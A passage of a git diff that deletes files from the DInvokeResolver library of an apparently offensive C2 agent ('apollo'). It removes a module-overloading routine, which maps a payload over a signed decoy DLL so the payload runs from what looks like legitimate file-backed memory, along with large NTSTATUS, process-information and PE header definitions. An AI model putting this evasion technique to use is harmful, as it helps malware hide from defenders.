files.Count); - string currentCandidate = files[rInt]; - - //Check that the size of the module meets requirements - if (candidates.Contains(rInt) == false && - new FileInfo(currentCandidate).Length >= MinSize) - { - //Check that the module meets signing requirements - if (LegitSigned == true) - { - if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true) - return currentCandidate; - else - candidates.Add(rInt); - } - else - return currentCandidate; - } - candidates.Add(rInt); - } - return string.Empty; - } - - /// - /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that - /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. - /// - /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) - /// Full path to the payload module on disk. - /// Optional, full path the decoy module to overload in memory. - /// PE.PE_MANUAL_MAP - public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true) - { - // Get approximate size of Payload - if (!File.Exists(PayloadPath)) - { - throw new InvalidOperationException("Payload filepath not found."); - } - byte[] Payload = File.ReadAllBytes(PayloadPath); - - return OverloadModule(Payload, DecoyModulePath, LegitSigned); - } - - /// - /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that - /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. - /// - /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) - /// Full byte array for the payload module. - /// Optional, full path the decoy module to overload in memory. - /// PE.PE_MANUAL_MAP - public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true) - { - // Did we get a DecoyModule? - if (!string.IsNullOrEmpty(DecoyModulePath)) - { - if (!File.Exists(DecoyModulePath)) - { - throw new InvalidOperationException("Decoy filepath not found."); - } - byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath); - if (DecoyFileBytes.Length < Payload.Length) - { - throw new InvalidOperationException("Decoy module is too small to host the payload."); - } - } - else - { - DecoyModulePath = FindDecoyModule(Payload.Length); - if (string.IsNullOrEmpty(DecoyModulePath)) - { - throw new InvalidOperationException("Failed to find suitable decoy module."); - } - } - - // Map decoy from disk - Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDiskToSection(DecoyModulePath); - IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage; - - // Change permissions to RW - DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE); - - // Zero out memory - DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize); - - // Overload module in memory - Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase); - OverloadedModuleMetaData.DecoyModule = DecoyModulePath; - - return OverloadedModuleMetaData; - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/Native.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/Native.cs deleted file mode 100644 index cbc8ddaa..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/Native.cs +++ /dev/null @@ -1,527 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace DInvokeResolver.DInvoke.Data -{ - /// - /// Native is a library of enums and structures for Native (NtDll) API functions. - /// - /// - /// A majority of this library is adapted from signatures found at www.pinvoke.net. - /// - public static class Native - { - [StructLayout(LayoutKind.Sequential)] - public struct UNICODE_STRING - { - public UInt16 Length; - public UInt16 MaximumLength; - public IntPtr Buffer; - } - - [StructLayout(LayoutKind.Sequential)] - public struct ANSI_STRING - { - public UInt16 Length; - public UInt16 MaximumLength; - public IntPtr Buffer; - } - - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr ExitStatus; - public IntPtr PebBaseAddress; - public IntPtr AffinityMask; - public IntPtr BasePriority; - public UIntPtr UniqueProcessId; - public int InheritedFromUniqueProcessId; - - public int Size - { - get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } - } - } - - [StructLayout(LayoutKind.Sequential, Pack = 0)] - public struct OBJECT_ATTRIBUTES - { - public Int32 Length; - public IntPtr RootDirectory; - public IntPtr ObjectName; // -> UNICODE_STRING - public uint Attributes; - public IntPtr SecurityDescriptor; - public IntPtr SecurityQualityOfService; - } - - [StructLayout(LayoutKind.Sequential)] - public struct IO_STATUS_BLOCK - { - public IntPtr Status; - public IntPtr Information; - } - - [StructLayout(LayoutKind.Sequential)] - public struct CLIENT_ID - { - public IntPtr UniqueProcess; - public IntPtr UniqueThread; - } - - [StructLayout(LayoutKind.Sequential)] - public struct OSVERSIONINFOEX - { - public uint OSVersionInfoSize; - public uint MajorVersion; - public uint MinorVersion; - public uint BuildNumber; - public uint PlatformId; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string CSDVersion; - public ushort ServicePackMajor; - public ushort ServicePackMinor; - public ushort SuiteMask; - public byte ProductType; - public byte Reserved; - } - - [StructLayout(LayoutKind.Sequential)] - public struct LIST_ENTRY - { - public IntPtr Flink; - public IntPtr Blink; - } - - public enum MEMORYINFOCLASS : int - { - MemoryBasicInformation = 0, - MemoryWorkingSetList, - MemorySectionName, - MemoryBasicVlmInformation - } - - public enum PROCESSINFOCLASS : int - { - ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION - ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX - ProcessIoCounters, // q: IO_COUNTERS - ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX - ProcessTimes, // q: KERNEL_USER_TIMES - ProcessBasePriority, // s: KPRIORITY - ProcessRaisePriority, // s: ULONG - ProcessDebugPort, // q: HANDLE - ProcessExceptionPort, // s: HANDLE - ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN - ProcessLdtInformation, // 10 - ProcessLdtSize, - ProcessDefaultHardErrorMode, // qs: ULONG - ProcessIoPortHandlers, // (kernel-mode only) - ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS - ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void - ProcessUserModeIOPL, - ProcessEnableAlignmentFaultFixup, // s: BOOLEAN - ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS - ProcessWx86Information, - ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION - ProcessAffinityMask, // s: KAFFINITY - ProcessPriorityBoost, // qs: ULONG - ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX - ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION - ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND - ProcessWow64Information, // q: ULONG_PTR - ProcessImageFileName, // q: UNICODE_STRING - ProcessLUIDDeviceMapsEnabled, // q: ULONG - ProcessBreakOnTermination, // qs: ULONG - ProcessDebugObjectHandle, // 30, q: HANDLE - ProcessDebugFlags, // qs: ULONG - ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables - ProcessIoPriority, // qs: ULONG - ProcessExecuteFlags, // qs: ULONG - ProcessResourceManagement, - ProcessCookie, // q: ULONG - ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION - ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION - ProcessPagePriority, // q: ULONG - ProcessInstrumentationCallback, // 40 - ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX - ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] - ProcessImageFileNameWin32, // q: UNICODE_STRING - ProcessImageFileMapping, // q: HANDLE (input) - ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE - ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE - ProcessGroupInformation, // q: USHORT[] - ProcessTokenVirtualizationEnabled, // s: ULONG - ProcessConsoleHostProcess, // q: ULONG_PTR - ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION - ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 - ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION - ProcessDynamicFunctionTableInformation, - ProcessHandleCheckingMode, - ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION - ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION - MaxProcessInfoClass - }; - - /// - /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html - /// - public enum NT_CREATION_FLAGS : ulong - { - CREATE_SUSPENDED = 0x00000001, - SKIP_THREAD_ATTACH = 0x00000002, - HIDE_FROM_DEBUGGER = 0x00000004, - HAS_SECURITY_DESCRIPTOR = 0x00000010, - ACCESS_CHECK_IN_TARGET = 0x00000020, - INITIAL_THREAD = 0x00000080 - } - - /// - /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 - /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html - /// - public enum NTSTATUS : uint - { - // Success - Success = 0x00000000, - Wait0 = 0x00000000, - Wait1 = 0x00000001, - Wait2 = 0x00000002, - Wait3 = 0x00000003, - Wait63 = 0x0000003f, - Abandoned = 0x00000080, - AbandonedWait0 = 0x00000080, - AbandonedWait1 = 0x00000081, - AbandonedWait2 = 0x00000082, - AbandonedWait3 = 0x00000083, - AbandonedWait63 = 0x000000bf, - UserApc = 0x000000c0, - KernelApc = 0x00000100, - Alerted = 0x00000101, - Timeout = 0x00000102, - Pending = 0x00000103, - Reparse = 0x00000104, - MoreEntries = 0x00000105, - NotAllAssigned = 0x00000106, - SomeNotMapped = 0x00000107, - OpLockBreakInProgress = 0x00000108, - VolumeMounted = 0x00000109, - RxActCommitted = 0x0000010a, - NotifyCleanup = 0x0000010b, - NotifyEnumDir = 0x0000010c, - NoQuotasForAccount = 0x0000010d, - PrimaryTransportConnectFailed = 0x0000010e, - PageFaultTransition = 0x00000110, - PageFaultDemandZero = 0x00000111, - PageFaultCopyOnWrite = 0x00000112, - PageFaultGuardPage = 0x00000113, - PageFaultPagingFile = 0x00000114, - CrashDump = 0x00000116, - ReparseObject = 0x00000118, - NothingToTerminate = 0x00000122, - ProcessNotInJob = 0x00000123, - ProcessInJob = 0x00000124, - ProcessCloned = 0x00000129, - FileLockedWithOnlyReaders = 0x0000012a, - FileLockedWithWriters = 0x0000012b, - - // Informational - Informational = 0x40000000, - ObjectNameExists = 0x40000000, - ThreadWasSuspended = 0x40000001, - WorkingSetLimitRange = 0x40000002, - ImageNotAtBase = 0x40000003, - RegistryRecovered = 0x40000009, - - // Warning - Warning = 0x80000000, - GuardPageViolation = 0x80000001, - DatatypeMisalignment = 0x80000002, - Breakpoint = 0x80000003, - SingleStep = 0x80000004, - BufferOverflow = 0x80000005, - NoMoreFiles = 0x80000006, - HandlesClosed = 0x8000000a, - PartialCopy = 0x8000000d, - DeviceBusy = 0x80000011, - InvalidEaName = 0x80000013, - EaListInconsistent = 0x80000014, - NoMoreEntries = 0x8000001a, - LongJump = 0x80000026, - DllMightBeInsecure = 0x8000002b, - - // Error - Error = 0xc0000000, - Unsuccessful = 0xc0000001, - NotImplemented = 0xc0000002, - InvalidInfoClass = 0xc0000003, - InfoLengthMismatch = 0xc0000004, - AccessViolation = 0xc0000005, - InPageError = 0xc0000006, - PagefileQuota = 0xc0000007, - InvalidHandle = 0xc0000008, - BadInitialStack = 0xc0000009, - BadInitialPc = 0xc000000a, - InvalidCid = 0xc000000b, - TimerNotCanceled = 0xc000000c, - InvalidParameter = 0xc000000d, - NoSuchDevice = 0xc000000e, - NoSuchFile = 0xc000000f, - InvalidDeviceRequest = 0xc0000010, - EndOfFile = 0xc0000011, - WrongVolume = 0xc0000012, - NoMediaInDevice = 0xc0000013, - NoMemory = 0xc0000017, - ConflictingAddresses = 0xc0000018, - NotMappedView = 0xc0000019, - UnableToFreeVm = 0xc000001a, - UnableToDeleteSection = 0xc000001b, - IllegalInstruction = 0xc000001d, - AlreadyCommitted = 0xc0000021, - AccessDenied = 0xc0000022, - BufferTooSmall = 0xc0000023, - ObjectTypeMismatch = 0xc0000024, - NonContinuableException = 0xc0000025, - BadStack = 0xc0000028, - NotLocked = 0xc000002a, - NotCommitted = 0xc000002d, - InvalidParameterMix = 0xc0000030, - ObjectNameInvalid = 0xc0000033, - ObjectNameNotFound = 0xc0000034, - ObjectNameCollision = 0xc0000035, - ObjectPathInvalid = 0xc0000039, - ObjectPathNotFound = 0xc000003a, - ObjectPathSyntaxBad = 0xc000003b, - DataOverrun = 0xc000003c, - DataLate = 0xc000003d, - DataError = 0xc000003e, - CrcError = 0xc000003f, - SectionTooBig = 0xc0000040, - PortConnectionRefused = 0xc0000041, - InvalidPortHandle = 0xc0000042, - SharingViolation = 0xc0000043, - QuotaExceeded = 0xc0000044, - InvalidPageProtection = 0xc0000045, - MutantNotOwned = 0xc0000046, - SemaphoreLimitExceeded = 0xc0000047, - PortAlreadySet = 0xc0000048, - SectionNotImage = 0xc0000049, - SuspendCountExceeded = 0xc000004a, - ThreadIsTerminating = 0xc000004b, - BadWorkingSetLimit = 0xc000004c, - IncompatibleFileMap = 0xc000004d, - SectionProtection = 0xc000004e, - EasNotSupported = 0xc000004f, - EaTooLarge = 0xc0000050, - NonExistentEaEntry = 0xc0000051, - NoEasOnFile = 0xc0000052, - EaCorruptError = 0xc0000053, - FileLockConflict = 0xc0000054, - LockNotGranted = 0xc0000055, - DeletePending = 0xc0000056, - CtlFileNotSupported = 0xc0000057, - UnknownRevision = 0xc0000058, - RevisionMismatch = 0xc0000059, - InvalidOwner = 0xc000005a, - InvalidPrimaryGroup = 0xc000005b, - NoImpersonationToken = 0xc000005c, - CantDisableMandatory = 0xc000005d, - NoLogonServers = 0xc000005e, - NoSuchLogonSession = 0xc000005f, - NoSuchPrivilege = 0xc0000060, - PrivilegeNotHeld = 0xc0000061, - InvalidAccountName = 0xc0000062, - UserExists = 0xc0000063, - NoSuchUser = 0xc0000064, - GroupExists = 0xc0000065, - NoSuchGroup = 0xc0000066, - MemberInGroup = 0xc0000067, - MemberNotInGroup = 0xc0000068, - LastAdmin = 0xc0000069, - WrongPassword = 0xc000006a, - IllFormedPassword = 0xc000006b, - PasswordRestriction = 0xc000006c, - LogonFailure = 0xc000006d, - AccountRestriction = 0xc000006e, - InvalidLogonHours = 0xc000006f, - InvalidWorkstation = 0xc0000070, - PasswordExpired = 0xc0000071, - AccountDisabled = 0xc0000072, - NoneMapped = 0xc0000073, - TooManyLuidsRequested = 0xc0000074, - LuidsExhausted = 0xc0000075, - InvalidSubAuthority = 0xc0000076, - InvalidAcl = 0xc0000077, - InvalidSid = 0xc0000078, - InvalidSecurityDescr = 0xc0000079, - ProcedureNotFound = 0xc000007a, - InvalidImageFormat = 0xc000007b, - NoToken = 0xc000007c, - BadInheritanceAcl = 0xc000007d, - RangeNotLocked = 0xc000007e, - DiskFull = 0xc000007f, - ServerDisabled = 0xc0000080, - ServerNotDisabled = 0xc0000081, - TooManyGuidsRequested = 0xc0000082, - GuidsExhausted = 0xc0000083, - InvalidIdAuthority = 0xc0000084, - AgentsExhausted = 0xc0000085, - InvalidVolumeLabel = 0xc0000086, - SectionNotExtended = 0xc0000087, - NotMappedData = 0xc0000088, - ResourceDataNotFound = 0xc0000089, - ResourceTypeNotFound = 0xc000008a, - ResourceNameNotFound = 0xc000008b, - ArrayBoundsExceeded = 0xc000008c, - FloatDenormalOperand = 0xc000008d, - FloatDivideByZero = 0xc000008e, - FloatInexactResult = 0xc000008f, - FloatInvalidOperation = 0xc0000090, - FloatOverflow = 0xc0000091, - FloatStackCheck = 0xc0000092, - FloatUnderflow = 0xc0000093, - IntegerDivideByZero = 0xc0000094, - IntegerOverflow = 0xc0000095, - PrivilegedInstruction = 0xc0000096, - TooManyPagingFiles = 0xc0000097, - FileInvalid = 0xc0000098, - InsufficientResources = 0xc000009a, - InstanceNotAvailable = 0xc00000ab, - PipeNotAvailable = 0xc00000ac, - InvalidPipeState = 0xc00000ad, - PipeBusy = 0xc00000ae, - IllegalFunction = 0xc00000af, - PipeDisconnected = 0xc00000b0, - PipeClosing = 0xc00000b1, - PipeConnected = 0xc00000b2, - PipeListening = 0xc00000b3, - InvalidReadMode = 0xc00000b4, - IoTimeout = 0xc00000b5, - FileForcedClosed = 0xc00000b6, - ProfilingNotStarted = 0xc00000b7, - ProfilingNotStopped = 0xc00000b8, - NotSameDevice = 0xc00000d4, - FileRenamed = 0xc00000d5, - CantWait = 0xc00000d8, - PipeEmpty = 0xc00000d9, - CantTerminateSelf = 0xc00000db, - InternalError = 0xc00000e5, - InvalidParameter1 = 0xc00000ef, - InvalidParameter2 = 0xc00000f0, - InvalidParameter3 = 0xc00000f1, - InvalidParameter4 = 0xc00000f2, - InvalidParameter5 = 0xc00000f3, - InvalidParameter6 = 0xc00000f4, - InvalidParameter7 = 0xc00000f5, - InvalidParameter8 = 0xc00000f6, - InvalidParameter9 = 0xc00000f7, - InvalidParameter10 = 0xc00000f8, - InvalidParameter11 = 0xc00000f9, - InvalidParameter12 = 0xc00000fa, - ProcessIsTerminating = 0xc000010a, - MappedFileSizeZero = 0xc000011e, - TooManyOpenedFiles = 0xc000011f, - Cancelled = 0xc0000120, - CannotDelete = 0xc0000121, - InvalidComputerName = 0xc0000122, - FileDeleted = 0xc0000123, - SpecialAccount = 0xc0000124, - SpecialGroup = 0xc0000125, - SpecialUser = 0xc0000126, - MembersPrimaryGroup = 0xc0000127, - FileClosed = 0xc0000128, - TooManyThreads = 0xc0000129, - ThreadNotInProcess = 0xc000012a, - TokenAlreadyInUse = 0xc000012b, - PagefileQuotaExceeded = 0xc000012c, - CommitmentLimit = 0xc000012d, - InvalidImageLeFormat = 0xc000012e, - InvalidImageNotMz = 0xc000012f, - InvalidImageProtect = 0xc0000130, - InvalidImageWin16 = 0xc0000131, - LogonServer = 0xc0000132, - DifferenceAtDc = 0xc0000133, - SynchronizationRequired = 0xc0000134, - DllNotFound = 0xc0000135, - IoPrivilegeFailed = 0xc0000137, - OrdinalNotFound = 0xc0000138, - EntryPointNotFound = 0xc0000139, - ControlCExit = 0xc000013a, - InvalidAddress = 0xc0000141, - PortNotSet = 0xc0000353, - DebuggerInactive = 0xc0000354, - CallbackBypass = 0xc0000503, - PortClosed = 0xc0000700, - MessageLost = 0xc0000701, - InvalidMessage = 0xc0000702, - RequestCanceled = 0xc0000703, - RecursiveDispatch = 0xc0000704, - LpcReceiveBufferExpected = 0xc0000705, - LpcInvalidConnectionUsage = 0xc0000706, - LpcRequestsNotAllowed = 0xc0000707, - ResourceInUse = 0xc0000708, - ProcessIsProtected = 0xc0000712, - VolumeDirty = 0xc0000806, - FileCheckedOut = 0xc0000901, - CheckOutRequired = 0xc0000902, - BadFileType = 0xc0000903, - FileTooLarge = 0xc0000904, - FormsAuthRequired = 0xc0000905, - VirusInfected = 0xc0000906, - VirusDeleted = 0xc0000907, - TransactionalConflict = 0xc0190001, - InvalidTransaction = 0xc0190002, - TransactionNotActive = 0xc0190003, - TmInitializationFailed = 0xc0190004, - RmNotActive = 0xc0190005, - RmMetadataCorrupt = 0xc0190006, - TransactionNotJoined = 0xc0190007, - DirectoryNotRm = 0xc0190008, - CouldNotResizeLog = 0xc0190009, - TransactionsUnsupportedRemote = 0xc019000a, - LogResizeInvalidSize = 0xc019000b, - RemoteFileVersionMismatch = 0xc019000c, - CrmProtocolAlreadyExists = 0xc019000f, - TransactionPropagationFailed = 0xc0190010, - CrmProtocolNotFound = 0xc0190011, - TransactionSuperiorExists = 0xc0190012, - TransactionRequestNotValid = 0xc0190013, - TransactionNotRequested = 0xc0190014, - TransactionAlreadyAborted = 0xc0190015, - TransactionAlreadyCommitted = 0xc0190016, - TransactionInvalidMarshallBuffer = 0xc0190017, - CurrentTransactionNotValid = 0xc0190018, - LogGrowthFailed = 0xc0190019, - ObjectNoLongerExists = 0xc0190021, - StreamMiniversionNotFound = 0xc0190022, - StreamMiniversionNotValid = 0xc0190023, - MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, - CantOpenMiniversionWithModifyIntent = 0xc0190025, - CantCreateMoreStreamMiniversions = 0xc0190026, - HandleNoLongerValid = 0xc0190028, - NoTxfMetadata = 0xc0190029, - LogCorruptionDetected = 0xc0190030, - CantRecoverWithHandleOpen = 0xc0190031, - RmDisconnected = 0xc0190032, - EnlistmentNotSuperior = 0xc0190033, - RecoveryNotNeeded = 0xc0190034, - RmAlreadyStarted = 0xc0190035, - FileIdentityNotPersistent = 0xc0190036, - CantBreakTransactionalDependency = 0xc0190037, - CantCrossRmBoundary = 0xc0190038, - TxfDirNotEmpty = 0xc0190039, - IndoubtTransactionsExist = 0xc019003a, - TmVolatile = 0xc019003b, - RollbackTimerExpired = 0xc019003c, - TxfAttributeCorrupt = 0xc019003d, - EfsNotAllowedInTransaction = 0xc019003e, - TransactionalOpenNotAllowed = 0xc019003f, - TransactedMappingUnsupportedRemote = 0xc0190040, - TxfMetadataAlreadyPresent = 0xc0190041, - TransactionScopeCallbacksNotSet = 0xc0190042, - TransactionRequiredPromotion = 0xc0190043, - CannotExecuteFileInTransaction = 0xc0190044, - TransactionsNotFrozen = 0xc0190045, - - MaximumNtStatus = 0xffffffff - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/PE.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/PE.cs deleted file mode 100644 index 251a2696..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/SharedData/PE.cs +++ /dev/null @@ -1,392 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace DInvokeResolver.DInvoke.Data -{ - /// - /// Holds data structures for using PEs. - /// - public static class PE - { - // DllMain constants - public const UInt32 DLL_PROCESS_DETACH = 0; - public const UInt32 DLL_PROCESS_ATTACH = 1; - public const UInt32 DLL_THREAD_ATTACH = 2; - public const UInt32 DLL_THREAD_DETACH = 3; - - // Primary class for loading PE - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved); - - [Flags] - public enum DataSectionFlags : uint - { - TYPE_NO_PAD = 0x00000008, - CNT_CODE = 0x00000020, - CNT_INITIALIZED_DATA = 0x00000040, - CNT_UNINITIALIZED_DATA = 0x00000080, - LNK_INFO = 0x00000200, - LNK_REMOVE = 0x00000800, - LNK_COMDAT = 0x00001000, - NO_DEFER_SPEC_EXC = 0x00004000, - GPREL = 0x00008000, - MEM_FARDATA = 0x00008000, - MEM_PURGEABLE = 0x00020000, - MEM_16BIT = 0x00020000, - MEM_LOCKED = 0x00040000, - MEM_PRELOAD = 0x00080000, - ALIGN_1BYTES = 0x00100000, - ALIGN_2BYTES = 0x00200000, - ALIGN_4BYTES = 0x00300000, - ALIGN_8BYTES = 0x00400000, - ALIGN_16BYTES = 0x00500000, - ALIGN_32BYTES = 0x00600000, - ALIGN_64BYTES = 0x00700000, - ALIGN_128BYTES = 0x00800000, - ALIGN_256BYTES = 0x00900000, - ALIGN_512BYTES = 0x00A00000, - ALIGN_1024BYTES = 0x00B00000, - ALIGN_2048BYTES = 0x00C00000, - ALIGN_4096BYTES = 0x00D00000, - ALIGN_8192BYTES = 0x00E00000, - ALIGN_MASK = 0x00F00000, - LNK_NRELOC_OVFL = 0x01000000, - MEM_DISCARDABLE = 0x02000000, - MEM_NOT_CACHED = 0x04000000, - MEM_NOT_PAGED = 0x08000000, - MEM_SHARED = 0x10000000, - MEM_EXECUTE = 0x20000000, - MEM_READ = 0x40000000, - MEM_WRITE = 0x80000000 - } - - - public struct IMAGE_DOS_HEADER - { // DOS .EXE header - public UInt16 e_magic; // Magic number - public UInt16 e_cblp; // Bytes on last page of file - public UInt16 e_cp; // Pages in file - public UInt16 e_crlc; // Relocations - public UInt16 e_cparhdr; // Size of header in paragraphs - public UInt16 e_minalloc; // Minimum extra paragraphs needed - public UInt16 e_maxalloc; // Maximum extra paragraphs needed - public UInt16 e_ss; // Initial (relative) SS value - public UInt16 e_sp; // Initial SP value - public UInt16 e_csum; // Checksum - public UInt16 e_ip; // Initial IP value - public UInt16 e_cs; // Initial (relative) CS value - public UInt16 e_lfarlc; // File address of relocation table - public UInt16 e_ovno; // Overlay number - public UInt16 e_res_0; // Reserved words - public UInt16 e_res_1; // Reserved words - public UInt16 e_res_2; // Reserved words - public UInt16 e_res_3; // Reserved words - public UInt16 e_oemid; // OEM identifier (for e_oeminfo) - public UInt16 e_oeminfo; // OEM information; e_oemid specific - public UInt16 e_res2_0; // Reserved words - public UInt16 e_res2_1; // Reserved words - public UInt16 e_res2_2; // Reserved words - public UInt16 e_res2_3; // Reserved words - public UInt16 e_res2_4; // Reserved words - public UInt16 e_res2_5; // Reserved words - public UInt16 e_res2_6; // Reserved words - public UInt16 e_res2_7; // Reserved words - public UInt16 e_res2_8; // Reserved words - public UInt16 e_res2_9; // Reserved words - public UInt32 e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_DATA_DIRECTORY - { - public UInt32 VirtualAddress; - public UInt32 Size; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER32 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt32 BaseOfData; - public UInt32 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt32 SizeOfStackReserve; - public UInt32 SizeOfStackCommit; - public UInt32 SizeOfHeapReserve; - public UInt32 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER64 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt64 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt64 SizeOfStackReserve; - public UInt64 SizeOfStackCommit; - public UInt64 SizeOfHeapReserve; - public UInt64 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public IMAGE_DATA_DIRECTORY ExportTable; - public IMAGE_DATA_DIRECTORY ImportTable; - public IMAGE_DATA_DIRECTORY ResourceTable; - public IMAGE_DATA_DIRECTORY ExceptionTable; - public IMAGE_DATA_DIRECTORY CertificateTable; - public IMAGE_DATA_DIRECTORY BaseRelocationTable; - public IMAGE_DATA_DIRECTORY Debug; - public IMAGE_DATA_DIRECTORY Architecture; - public IMAGE_DATA_DIRECTORY GlobalPtr; - public IMAGE_DATA_DIRECTORY TLSTable; - public IMAGE_DATA_DIRECTORY LoadConfigTable; - public IMAGE_DATA_DIRECTORY BoundImport; - public IMAGE_DATA_DIRECTORY IAT; - public IMAGE_DATA_DIRECTORY DelayImportDescriptor; - public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; - public IMAGE_DATA_DIRECTORY Reserved; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] 